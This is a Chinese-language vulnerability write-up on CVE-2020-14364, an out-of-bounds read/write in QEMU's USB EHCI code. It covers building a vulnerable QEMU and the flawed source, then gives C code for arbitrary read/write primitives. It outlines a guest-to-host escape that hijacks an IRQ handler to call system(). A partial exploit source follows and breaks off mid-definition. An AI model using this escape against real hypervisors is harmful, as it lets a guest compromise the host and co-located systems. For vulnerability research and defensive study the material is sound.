CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路
2020-09-28 15:00:19 Author: xz.aliyun.com(查看原文) 阅读量:381 收藏

环境搭建

(1)制作qcow2虚拟机镜像

创建qcow2硬盘文件:
qemu-img create -f qcow2 ubuntu-server.qcow2 5G
制作linux qcow2镜像:
sudo kvm -m 1028 -cdrom /mnt/hgfs/Share/VM-study/ubuntu-18.04.5-live-server-amd64.iso -drive file=ubuntu-server.qcow2,if=virtio -net nic,model=virtio -net tap,script=no -boot d -vnc :0
后续使用vnc-view连接 127.0.0.1:0 进行系统安装

(2)源码编译qemu

为了qemu启动能使用qxl-vga设备,需要提前安装spice,开启spice进行编译

a、安装spice依赖:

安装spice-protocol:

wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure 
make
sudo make install

安装celt:

wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz 
cd celt-0.5.1.3/
 ./configure 
 make
 sudo make install

安装依赖:

sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev

安装spice-server

wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure 
 make
 sudo make install

b、编译qemu源码

git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v4.2.1
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice
make

编译出来qemu的路径为./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64

c、制作usb设备:https://blog.csdn.net/kingtj/article/details/82952783

qemu-img create -f raw disk_01.img 32M
mkfs.vfat disk_01.img

d、启动脚本

/home/osboxes/study/vul/qemu-14364/src/qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
    -machine q35 \
    -m 1G \
    -hda ubuntu-server.qcow2 \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22 \
    -enable-kvm \
    -usb \
    -drive if=none,format=raw,id=disk1,file=/home/osboxes/study/vul/qemu-14364/disk_01.img \
    -device usb-storage,drive=disk1 \
    -device qxl-vga \

e、调试断点(自选)

b do_token_setup
b do_token_in
b do_token_out
b ehci_opreg_write
b usb_ehci_init
b ehci_work_bh

漏洞分析

关键结构:

struct USBDevice {
    DeviceState qdev;
    USBPort *port;
    char *port_path;
    char *serial;
    void *opaque;
    uint32_t flags;

    /* Actual connected speed */
    int speed;
    /* Supported speeds, not in info because it may be variable (hostdevs) */
    int speedmask;
    uint8_t addr;
    char product_desc[32];
    int auto_attach;
    bool attached;

    int32_t state;
    uint8_t setup_buf[8];
    uint8_t data_buf[4096]; <-----------
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;

    USBEndpoint ep_ctl;
    USBEndpoint ep_in[USB_MAX_ENDPOINTS];
    USBEndpoint ep_out[USB_MAX_ENDPOINTS];

    QLIST_HEAD(, USBDescString) strings;
    const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
    const USBDescDevice *device;

    int configuration;
    int ninterfaces;
    int altsetting[USB_MAX_INTERFACES];
    const USBDescConfig *config;
    const USBDescIface  *ifaces[USB_MAX_INTERFACES];
};

EHCIState 结构:

struct EHCIState {
    USBBus bus;
    DeviceState *device;
    qemu_irq irq;
    MemoryRegion mem;
    AddressSpace *as;
    MemoryRegion mem_caps;
    MemoryRegion mem_opreg;
    MemoryRegion mem_ports;
    int companion_count;
    bool companion_enable;
    uint16_t capsbase;
    uint16_t opregbase;
    uint16_t portscbase;
    uint16_t portnr;

    /* properties */
    uint32_t maxframes;

    /*
     *  EHCI spec version 1.0 Section 2.3
     *  Host Controller Operational Registers
     */
    uint8_t caps[CAPA_SIZE];
    union {
        uint32_t opreg[0x44/sizeof(uint32_t)];
        struct {
            uint32_t usbcmd;
            uint32_t usbsts;
            uint32_t usbintr;
            uint32_t frindex;
            uint32_t ctrldssegment;
            uint32_t periodiclistbase;
            uint32_t asynclistaddr;
            uint32_t notused[9];
            uint32_t configflag;
        };
    };
    uint32_t portsc[NB_PORTS];

    /*
     *  Internal states, shadow registers, etc
     */
    QEMUTimer *frame_timer;
    QEMUBH *async_bh;
    bool working;
    uint32_t astate;         /* Current state in asynchronous schedule */
    uint32_t pstate;         /* Current state in periodic schedule     */
    USBPort ports[NB_PORTS];
    USBPort *companion_ports[NB_PORTS];
    uint32_t usbsts_pending;
    uint32_t usbsts_frindex;
    EHCIQueueHead aqueues;
    EHCIQueueHead pqueues;

    /* which address to look at next */
    uint32_t a_fetch_addr;
    uint32_t p_fetch_addr;

    USBPacket ipacket;
    QEMUSGList isgl;

    uint64_t last_run_ns;
    uint32_t async_stepdown;
    uint32_t periodic_sched_active;
    bool int_req_by_async;
    VMChangeStateEntry *vmstate;
};

漏洞点在于 qemu-4.2.1\hw\usb\core.c: do_token_setup函数中

【1】处s->setupbuf的内容用户可控,可赋值给s->setuplen最大 0xff<<8 |0xff = 0xffff大小,而【2】处的判断,由上面USBDevice结构可知,s->data_buf的大小为4096个字节。过大的s->setup_len 会进行返回,但s->setup_len已经被赋值了,该处的检查没有起到效果。

static void do_token_setup(USBDevice *s, USBPacket *p)
{
    int request, value, index;

    if (p->iov.size != 8) {
        p->status = USB_RET_STALL;
        return;
    }

    usb_packet_copy(p, s->setup_buf, p->iov.size);
    s->setup_index = 0;
    p->actual_length = 0;
    s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6]; // <----【1】
    if (s->setup_len > sizeof(s->data_buf)) {                  // <----【2】
        fprintf(stderr,
                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
                s->setup_len, sizeof(s->data_buf));
        p->status = USB_RET_STALL;
        return;
    }

    request = (s->setup_buf[0] << 8) | s->setup_buf[1];
    value   = (s->setup_buf[3] << 8) | s->setup_buf[2];
    index   = (s->setup_buf[5] << 8) | s->setup_buf[4];

    if (s->setup_buf[0] & USB_DIR_IN) {
        usb_device_handle_control(s, p, request, value, index,
                                  s->setup_len, s->data_buf);
        if (p->status == USB_RET_ASYNC) {
            s->setup_state = SETUP_STATE_SETUP;
        }
        if (p->status != USB_RET_SUCCESS) {
            return;
        }

        if (p->actual_length < s->setup_len) {
            s->setup_len = p->actual_length;
        }
        s->setup_state = SETUP_STATE_DATA;
    } else {
        if (s->setup_len == 0)
            s->setup_state = SETUP_STATE_ACK;
        else
            s->setup_state = SETUP_STATE_DATA;
    }

    p->actual_length = 8;
}

之后在qemu-4.2.1\hw\usb\core.c:do_token_in 中【3】处使用s->setup_len 获得 len,而p->iov.size 也由用户可控,例如设置p->iov.size 大小为0x1f00,则len 最大为0x1f00,大于s->data_buf 的size:4096,所以会在【4】的复制操作造成越界访问。

static void do_token_in(USBDevice *s, USBPacket *p)
{
    int request, value, index;

    assert(p->ep->nr == 0);

    request = (s->setup_buf[0] << 8) | s->setup_buf[1];
    value   = (s->setup_buf[3] << 8) | s->setup_buf[2];
    index   = (s->setup_buf[5] << 8) | s->setup_buf[4];

    switch(s->setup_state) {
    case SETUP_STATE_ACK:
        if (!(s->setup_buf[0] & USB_DIR_IN)) {
            usb_device_handle_control(s, p, request, value, index,
                                      s->setup_len, s->data_buf);
            if (p->status == USB_RET_ASYNC) {
                return;
            }
            s->setup_state = SETUP_STATE_IDLE;
            p->actual_length = 0;
        }
        break;

    case SETUP_STATE_DATA:
        if (s->setup_buf[0] & USB_DIR_IN) {
            int len = s->setup_len - s->setup_index; // <----- 【3】
            if (len > p->iov.size) {
                len = p->iov.size;
            }
            usb_packet_copy(p, s->data_buf + s->setup_index, len);// <---- 【4】
            s->setup_index += len;
            if (s->setup_index >= s->setup_len) {
                s->setup_state = SETUP_STATE_ACK;
            }
            return;
        }
        s->setup_state = SETUP_STATE_IDLE;
        p->status = USB_RET_STALL;
        break;

    default:
        p->status = USB_RET_STALL;
    }
}

对于do_token_in中的usb_packet_copy 最终会调用到iov_from_buf, 将s->data_buf + s->setup_index 复制到用户态空间,造成越界读。

static inline size_t
iov_from_buf(const struct iovec *iov, unsigned int iov_cnt,
             size_t offset, const void *buf, size_t bytes)
{
    if (__builtin_constant_p(bytes) && iov_cnt &&
        offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
        memcpy(iov[0].iov_base + offset, buf, bytes);
        return bytes;
    } else {
        return iov_from_buf_full(iov, iov_cnt, offset, buf, bytes);
    }
}

相对的,do_token_out用于越界写。

static void do_token_out(USBDevice *s, USBPacket *p)
{
    assert(p->ep->nr == 0);

    switch(s->setup_state) {
    case SETUP_STATE_ACK:
        if (s->setup_buf[0] & USB_DIR_IN) {
            s->setup_state = SETUP_STATE_IDLE;
            /* transfer OK */
        } else {
            /* ignore additional output */
        }
        break;

    case SETUP_STATE_DATA:
        if (!(s->setup_buf[0] & USB_DIR_IN)) {
            int len = s->setup_len - s->setup_index;
            if (len > p->iov.size) {
                len = p->iov.size;
            }
            usb_packet_copy(p, s->data_buf + s->setup_index, len);// <--------
            s->setup_index += len;
            if (s->setup_index >= s->setup_len) {
                s->setup_state = SETUP_STATE_ACK;
            }
            return;
        }
        s->setup_state = SETUP_STATE_IDLE;
        p->status = USB_RET_STALL;
        break;

    default:
        p->status = USB_RET_STALL;
    }
}

do_token_out中的usb_packet_copy 最终会调用到 iov_to_buf:

static inline size_t
iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt,
           size_t offset, void *buf, size_t bytes)
{
    if (__builtin_constant_p(bytes) && iov_cnt &&
        offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
        memcpy(buf, iov[0].iov_base + offset, bytes);
        return bytes;
    } else {
        return iov_to_buf_full(iov, iov_cnt, offset, buf, bytes);
    }
}

漏洞利用一

设置漏洞触发环境

(1)qemu虚拟地址转成物理地址

详细见链接:https://xz.aliyun.com/t/6562

(2)set_EHCIState()

首先通过mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); 映射到usb 设备的内存。

对usb的初始化中,对 EHCIState 结构中的opreg 的基地址设置在这块内存的偏移0x20。

static void usb_ehci_pci_init(Object *obj)
{
    DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
    EHCIPCIState *i = PCI_EHCI(obj);
    EHCIState *s = &i->ehci;

    s->caps[0x09] = 0x68;        /* EECP */

    s->capsbase = 0x00;
    s->opregbase = 0x20;   // <----------------------
    s->portscbase = 0x44;
    s->portnr = NB_PORTS;

    if (!dc->hotpluggable) {
        s->companion_enable = true;
    }

    usb_ehci_init(s, DEVICE(obj));
}

对这块内存操作可以直接设置opreg的内容。opreg的内容包括:

union {
        uint32_t opreg[0x44/sizeof(uint32_t)];
        struct {
            uint32_t usbcmd;
            uint32_t usbsts;
            uint32_t usbintr;
            uint32_t frindex;
            uint32_t ctrldssegment;
            uint32_t periodiclistbase;
            uint32_t asynclistaddr;
            uint32_t notused[9];
            uint32_t configflag;
        };
    };

在usb_ehci_init 函数中又注册了对opreg区域读写的操作函数。

void usb_ehci_init(EHCIState *s, DeviceState *dev)
{
    /* 2.2 host controller interface version */
    s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase);
    s->caps[0x01] = 0x00;
    s->caps[0x02] = 0x00;
    s->caps[0x03] = 0x01;        /* HC version */
    s->caps[0x04] = s->portnr;   /* Number of downstream ports */
    s->caps[0x05] = 0x00;        /* No companion ports at present */
    s->caps[0x06] = 0x00;
    s->caps[0x07] = 0x00;
    s->caps[0x08] = 0x80;        /* We can cache whole frame, no 64-bit */
    s->caps[0x0a] = 0x00;
    s->caps[0x0b] = 0x00;

    QTAILQ_INIT(&s->aqueues);
    QTAILQ_INIT(&s->pqueues);
    usb_packet_init(&s->ipacket);

    memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
    memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
                          "capabilities", CAPA_SIZE);
    memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s,
                          "operational", s->portscbase);
    memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
                          "ports", 4 * s->portnr);

    memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
    memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
    memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,
                                &s->mem_ports);
}
static const MemoryRegionOps ehci_mmio_opreg_ops = {
    .read = ehci_opreg_read,
    .write = ehci_opreg_write,
    .valid.min_access_size = 4,
    .valid.max_access_size = 4,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

所以对opreg的写操作会调用到ehci_opreg_write函数,如 mmio_write(0x20, 0xddaa); 会调用ehci_opreg_write,此时传入的addr为0(0x20-0x20=0),表示对opreg的偏移0,后续根据addr进行选择处理,0进入USBCMD流程,即对usbcmd进行覆写,将EHCIState->usbcmd 改写成0xddaa。

static void ehci_opreg_write(void *ptr, hwaddr addr,
                             uint64_t val, unsigned size)
{
    EHCIState *s = ptr;
    uint32_t *mmio = s->opreg + (addr >> 2);
    uint32_t old = *mmio;
    int i;

    trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);

    switch (addr) {
    case USBCMD:
        if (val & USBCMD_HCRESET) {
            ehci_reset(s);
            val = s->usbcmd;
            break;
        }

下面讲讲set_EHCIState的目的,分别设置opreg的 periodiclistbase和usbcmd 字段:

void set_EHCIState(){
    mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
    mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
    sleep(1);
}

漏洞函数触发的调用链如下:

 f 0     5597194507ac do_token_setup+16
   f 1     5597194511ce usb_process_one+134
   f 2     5597194513d9 usb_handle_packet+331
   f 3     559719469769 ehci_execute+616
   f 4     55971946ab96 ehci_state_execute+257
   f 5     55971946b0a1 ehci_advance_state+522
   f 6     55971946b4f1 ehci_advance_periodic_state+352
   f 7     55971946b7f4 ehci_work_bh+422   <-----------------------
   f 8     55971967eead aio_bh_call+33
   f 9     55971967ef45 aio_bh_poll+149
   f 10     559719683c1e aio_dispatch+42

在ehci_work_bh中要经过下面判断才能进入ehci_advance_periodic_state(周期性传输):

if (ehci_periodic_enabled(ehci) || ehci->pstate != EST_INACTIVE)
                            ……
 ->
static inline bool ehci_periodic_enabled(EHCIState *s)
{
    return ehci_enabled(s) && (s->usbcmd & USBCMD_PSE); // <---------
}

->
static inline bool ehci_enabled(EHCIState *s)
{
    return s->usbcmd & USBCMD_RUNSTOP;   //<------------
}
#define USBCMD_RUNSTOP   (1 << 0) 
#define USBCMD_PSE       (1 << 4) 
#define USBCMD_ASE       (1 << 5)

而要进入异步传输则设置usbcmd为 USBCMD_ASE:

if (ehci_async_enabled(ehci) || ehci->astate != EST_INACTIVE) {
        need_timer++;
        ehci_advance_async_state(ehci);
    }

所以要设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE 进入ehci_advance_periodic_state。

static void ehci_advance_periodic_state(EHCIState *ehci)
{
    uint32_t entry;
    uint32_t list;
    const int async = 0;

    // 4.6

    switch(ehci_get_state(ehci, async)) {
    case EST_INACTIVE:
        if (!(ehci->frindex & 7) && ehci_periodic_enabled(ehci)) {
            ehci_set_state(ehci, async, EST_ACTIVE);
            // No break, fall through to ACTIVE
        } else
            break;

    case EST_ACTIVE:
        if (!(ehci->frindex & 7) && !ehci_periodic_enabled(ehci)) {
            ehci_queues_rip_all(ehci, async);
            ehci_set_state(ehci, async, EST_INACTIVE);
            break;
        }

        list = ehci->periodiclistbase & 0xfffff000; 1<---------
        /* check that register has been set */
        if (list == 0) {
            break;
        }
        list |= ((ehci->frindex & 0x1ff8) >> 1); 2<------------

        if (get_dwords(ehci, list, &entry, 1) < 0) {
            break;
        }

        DPRINTF("PERIODIC state adv fr=%d.  [%08X] -> %08X\n",
                ehci->frindex / 8, list, entry);
        ehci_set_fetch_addr(ehci, async,entry); 3<-------------
        ehci_set_state(ehci, async, EST_FETCHENTRY);
        ehci_advance_state(ehci, async);   //     <-----------
        ehci_queues_rip_unused(ehci, async);
        break;

    default:
        /* this should only be due to a developer mistake */
        fprintf(stderr, "ehci: Bad periodic state %d. "
                "Resetting to active\n", ehci->pstate);
        g_assert_not_reached();
    }
}

【1】处ehci->periodiclistbase已经被我们填充为dmabuf的物理地址,得到的list经过【2】处处理后相当于list = virt2phys(dmabuf)+4,之后通过【3】处ehci_set_fetch_addr函数将list上的内容,即virt2phys(qh)+0x2写入s->p_fetch_addr。

static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr)
{
    if (async) {
        s->a_fetch_addr = addr;
    } else {
        s->p_fetch_addr = addr;
    }
}

get_dwords将list上的内容写入entry,所以我们在dmabuf + 4 填充了virt2phys(qh)+0x2; 作为entry。

entry = dmabuf + 4;
*entry = virt2phys(qh)+0x2;

这里entry为什么要+2呢?回到源码,ehci_advance_periodic_state调用到ehci_advance_state:

static void ehci_advance_state(EHCIState *ehci, int async)
{
    EHCIQueue *q = NULL;
    int itd_count = 0;
    int again;

    do {
        switch(ehci_get_state(ehci, async)) {
        case EST_WAITLISTHEAD:
            again = ehci_state_waitlisthead(ehci, async);
            break;

        case EST_FETCHENTRY:
            again = ehci_state_fetchentry(ehci, async);
            break;

        case EST_FETCHQH:
            q = ehci_state_fetchqh(ehci, async);
            if (q != NULL) {
                assert(q->async == async);
                again = 1;
            } else {
                again = 0;
            }
            break;
                ……

我们需要最终运行到EST_FETCHQH,得到qh结构。

do-while循环里第一次运行到EST_FETCHENTRY,通过ehci_state_fetchentry得到entry,即s->p_fetch_addr,我们之前填充的virt2phys(qh)+0x2。

static int ehci_state_fetchentry(EHCIState *ehci, int async)
{
    int again = 0;
    uint32_t entry = ehci_get_fetch_addr(ehci, async);

    if (NLPTR_TBIT(entry)) {
        ehci_set_state(ehci, async, EST_ACTIVE);
        goto out;
    }

    /* section 4.8, only QH in async schedule */
    if (async && (NLPTR_TYPE_GET(entry) != NLPTR_TYPE_QH)) {
        fprintf(stderr, "non queue head request in async schedule\n");
        return -1;
    }

    switch (NLPTR_TYPE_GET(entry)) {
    case NLPTR_TYPE_QH:
        ehci_set_state(ehci, async, EST_FETCHQH);
        again = 1;
        break;

在switch (NLPTR_TYPE_GET(entry)) 判断下,我们要进入case NLPTR_TYPE_QH,通过ehci_set_state(ehci, async, EST_FETCHQH), 使得下次do-while循环中运行到EST_FETCHQH,得到qh结构。而NLPTR_TYPE_GET 宏定义内容如下:

#define NLPTR_TYPE_QH            1     // queue head

#define NLPTR_TYPE_GET(x)        (((x) >> 1) & 3)

所以需要将entry的内容填充为virt2phys(qh)+0x2,因为(((2) >> 1) & 3) =1。

之后ehci_state_fetchqh 会为entry分配空间, 最终ehci_advance_state得到EHCIqh的地址,然后调用ehci_state_execute,触发到漏洞函数。

(3) reset and enable port

void reset_enable_port(){
    mmio_write(0x64, PORTSC_PRESET);
    mmio_write(0x64, PORTSC_PED);
}

0x64 的偏移对应到 portsc,对该字段写操作会调用到ehci_port_write:

static void ehci_port_write(void *ptr, hwaddr addr,
                            uint64_t val, unsigned size)
{
    EHCIState *s = ptr;
    int port = addr >> 2;
    uint32_t *portsc = &s->portsc[port];
    uint32_t old = *portsc;
    USBDevice *dev = s->ports[port].dev;

    trace_usb_ehci_portsc_write(addr + s->portscbase, addr >> 2, val);

    /* Clear rwc bits */
    *portsc &= ~(val & PORTSC_RWC_MASK);
    /* The guest may clear, but not set the PED bit */
    *portsc &= val | ~PORTSC_PED;
    /* POWNER is masked out by RO_MASK as it is RO when we've no companion */
    handle_port_owner_write(s, port, val);
    /* And finally apply RO_MASK */
    val &= PORTSC_RO_MASK;

    if ((val & PORTSC_PRESET) && !(*portsc & PORTSC_PRESET)) {
        trace_usb_ehci_port_reset(port, 1);  1<--------------
    }

    if (!(val & PORTSC_PRESET) &&(*portsc & PORTSC_PRESET)) {
        trace_usb_ehci_port_reset(port, 0);
        if (dev && dev->attached) {
            usb_port_reset(&s->ports[port]);
            *portsc &= ~PORTSC_CSC;
        }

        /*
         *  Table 2.16 Set the enable bit(and enable bit change) to indicate
         *  to SW that this port has a high speed device attached
         */
        if (dev && dev->attached && (dev->speedmask & USB_SPEED_MASK_HIGH)) {
            val |= PORTSC_PED; 2<-------------------
        }
    }

    if ((val & PORTSC_SUSPEND) && !(*portsc & PORTSC_SUSPEND)) {
        trace_usb_ehci_port_suspend(port);
    }
    if (!(val & PORTSC_FPRES) && (*portsc & PORTSC_FPRES)) {
        trace_usb_ehci_port_resume(port);
        val &= ~PORTSC_SUSPEND;
    }

    *portsc &= ~PORTSC_RO_MASK;
    *portsc |= val;
    trace_usb_ehci_portsc_change(addr + s->portscbase, addr >> 2, *portsc, old);
}

设置PORTSC_PRESET会调用到【1】处trace_usb_ehci_port_reset(port, 1);进行重置,设置PORTSC_PED后会调用到【2】处,enable port。

前期漏洞触发环境已经设置好了,就可以进行越界读写了

越界读

(1)我们先调用do_token_setup 设置s->setup_len 的长度为越界长度,要进入do_token_setup 需要通过设置qtd->token值:

#define QTD_TOKEN_PID_MASK            0x00000300
#define QTD_TOKEN_PID_SH              8
#define get_field(data, field) \
    (((data) & field##_MASK) >> field##_SH)

#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN    0x69 /* device -> host */
#define USB_TOKEN_OUT   0xe1 /* host -> device */

static int ehci_get_pid(EHCIqtd *qtd)
{
    switch (get_field(qtd->token, QTD_TOKEN_PID)) {
    case 0:
        return USB_TOKEN_OUT;
    case 1:
        return USB_TOKEN_IN;
    case 2:
        return USB_TOKEN_SETUP;
    default:
        fprintf(stderr, "bad token\n");
        return 0;
    }
}

所以get_field的实际操作为 ((qtd->token)&0x300) >>0x8,所以对于操作的判断实际上是取token第8个和第9个bit进行判断。所以设置成 2 << 8 即可。之后设置setup_buf[7]和setup_buf[6] 构造要越界的长度。

s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {                 
       fprintf(stderr,
             "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
              s->setup_len, sizeof(s->data_buf));
        p->status = USB_RET_STALL;
        return;
}

(2)设置qtd->token 为 1<<8,进入do_token_in, 这里还要设置setup_buf[0]为USB_DIR_IN,才能调用usb_packet_copy,将s->data_buf复制到qtd->bufptr[0],进行泄露。其中 p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制。

case SETUP_STATE_DATA:
        if (s->setup_buf[0] & USB_DIR_IN) {
            int len = s->setup_len - s->setup_index;
            if (len > p->iov.size) {
                len = p->iov.size;
            }
            usb_packet_copy(p, s->data_buf + s->setup_index, len);
            s->setup_index += len;
            if (s->setup_index >= s->setup_len) {
                s->setup_state = SETUP_STATE_ACK;
            }
            return;
        }
        s->setup_state = SETUP_STATE_IDLE;
        p->status = USB_RET_STALL;
        break;

越界写

同样需要先设置越界长度,再设置qtd->token 为 0<<8,进入do_token_out,同时设置setup_buf[0]为USB_DIR_OUT,将qtd->bufptr[0]复制到s->data_buf进行覆写。

case SETUP_STATE_DATA:
        if (!(s->setup_buf[0] & USB_DIR_IN)) {
            int len = s->setup_len - s->setup_index;
            if (len > p->iov.size) {
                len = p->iov.size;
            }
            usb_packet_copy(p, s->data_buf + s->setup_index, len);
            s->setup_index += len;
            if (s->setup_index >= s->setup_len) {
                s->setup_state = SETUP_STATE_ACK;
            }
            return;
        }
        s->setup_state = SETUP_STATE_IDLE;
        p->status = USB_RET_STALL;
        break;

这里需要注意的是经过几次调用后,s->setup_index >= s->setup_len 会满足条件,s->setup_state 会被设置成 SETUP_STATE_ACK,可以通过调用一次do_token_setup,设置正常长度,将s->setup_state重新设置成SETUP_STATE_DATA。

do_token_setup
            …………
if (s->setup_buf[0] & USB_DIR_IN) {
        usb_device_handle_control(s, p, request, value, index,
                                  s->setup_len, s->data_buf);
        if (p->status == USB_RET_ASYNC) {
            s->setup_state = SETUP_STATE_SETUP;
        }
        if (p->status != USB_RET_SUCCESS) {
            return;
        }

        if (p->actual_length < s->setup_len) {
            s->setup_len = p->actual_length;
        }
        s->setup_state = SETUP_STATE_DATA;
    } else {
        if (s->setup_len == 0)
            s->setup_state = SETUP_STATE_ACK;
        else
            s->setup_state = SETUP_STATE_DATA; // <------------
    }

任意读原语

(1)首先设置越界长度为0x1010

(2)进行越界写,将setup_len 设置成0x1010,将setup_index设置成0xfffffff8-0x1010, 因为usb_packet_copy后面还有s->setup_index += len 操作,此时s->setup_index 就会被设置成0xfffffff8。

usb_packet_copy(p, s->data_buf + s->setup_index, len);
 s->setup_index += len;

(3)再次进行越界写,此时从data_buf-8处开始写,覆盖了setup字段,将setup[0] 设置成USB_DIR_IN,并且将setup_index 覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:len = s->setup_len - s->setup_index操作(0x1010-(-0x8)=0x1018),使得len变成0x1018。

case SETUP_STATE_DATA:
        if (s->setup_buf[0] & USB_DIR_IN) {
            int len = s->setup_len - s->setup_index;
            if (len > p->iov.size) {
                len = p->iov.size;
            }
            usb_packet_copy(p, s->data_buf + s->setup_index, len);

(4)最后越界读,就能读取目标地址的内容

unsigned long arb_read(uint64_t target_addr)
{
    setup_state_data();

    set_length(0x1010, USB_DIR_OUT);

    do_copy_write(0, 0x1010, 0xfffffff8-0x1010);

    *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
    unsigned int target_offset = target_addr - data_buf_addr;

    do_copy_write(0x8, 0xffff, target_offset - 0x1018);// 这里offset为0x8,是因为从data_buf-8 处开始写。
    do_copy_read(); // oob read
    return *(unsigned long *)(data_buf);
}

任意写原语

(1)首先设置越界长度为0x1010

(2)越界写,将setup_len 设置成目标偏移-0x1010,usb_packet_copy后面的s->setup_index += len 操作后,s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8, 经过下次越界写的len = s->setup_len - s->setup_index =》len=(offset+0x8)-offset=0x8,只修改目标地址8个字节的内容。

(3)再次越界写,修改目标地址的内容。

void arb_write(uint64_t target_addr, uint64_t payload)
{
    setup_state_data();

    set_length(0x1010, USB_DIR_OUT);

    unsigned long offset = target_addr - data_buf_addr;
    do_copy_write(0, offset+0x8, offset-0x1010);

    *(unsigned long *)(data_buf) = payload;
    do_copy_write(0, 0xffff, 0);
}

整体利用思路

整体利用思路和 https://www.freebuf.com/vuls/247829.html 相同:

(1)通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址。

(2)查找越界读出来的内容,看是否有函数地址,就可以通过ida获取该函数的偏移,进而得到elf加载的基地址,以及system@plt的地址。

(3)USBDevice 会在 realize 时,调用usb_claim_port,将USBDevice中的port字段设置为指向
EHCIState中的ports的地址, 读取USBDevice->port的内容就能获得EHCIState->ports 的地址,减去偏移得到 EHCIState的地址。进而得到EHCIState->irq地址。

(4)利用任意写将EHCIState->irq内容填充为伪造的irq地址,将handler 填充成system@plt地址,opaque填充成payload的地址。

struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

通过mmio 读写触发ehci_update_irq -> qemu_set_irq,最终执行system("xcalc"),完成利用。

void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

(5)最后将保存的EHCIState->irq原内容填充回去,由于会多次调用qemu_set_irq,所以会执行多次payload。

exp代码:

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <errno.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <stdbool.h>
#include <netinet/in.h>  
struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr; 

#define PORTSC_PRESET       (1 << 8)     // Port Reset
#define PORTSC_PED          (1 << 2)     // Port Enable/Disable
#define USBCMD_RUNSTOP      (1 << 0)
#define USBCMD_PSE          (1 << 4)
#define USB_DIR_OUT         0
#define USB_DIR_IN          0x80
#define QTD_TOKEN_ACTIVE    (1 << 7)
#define USB_TOKEN_SETUP     2
#define USB_TOKEN_IN        1 /* device -> host */
#define USB_TOKEN_OUT       0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH    8

typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};

struct USBDevice {
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;

    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};


typedef struct EHCIqh {
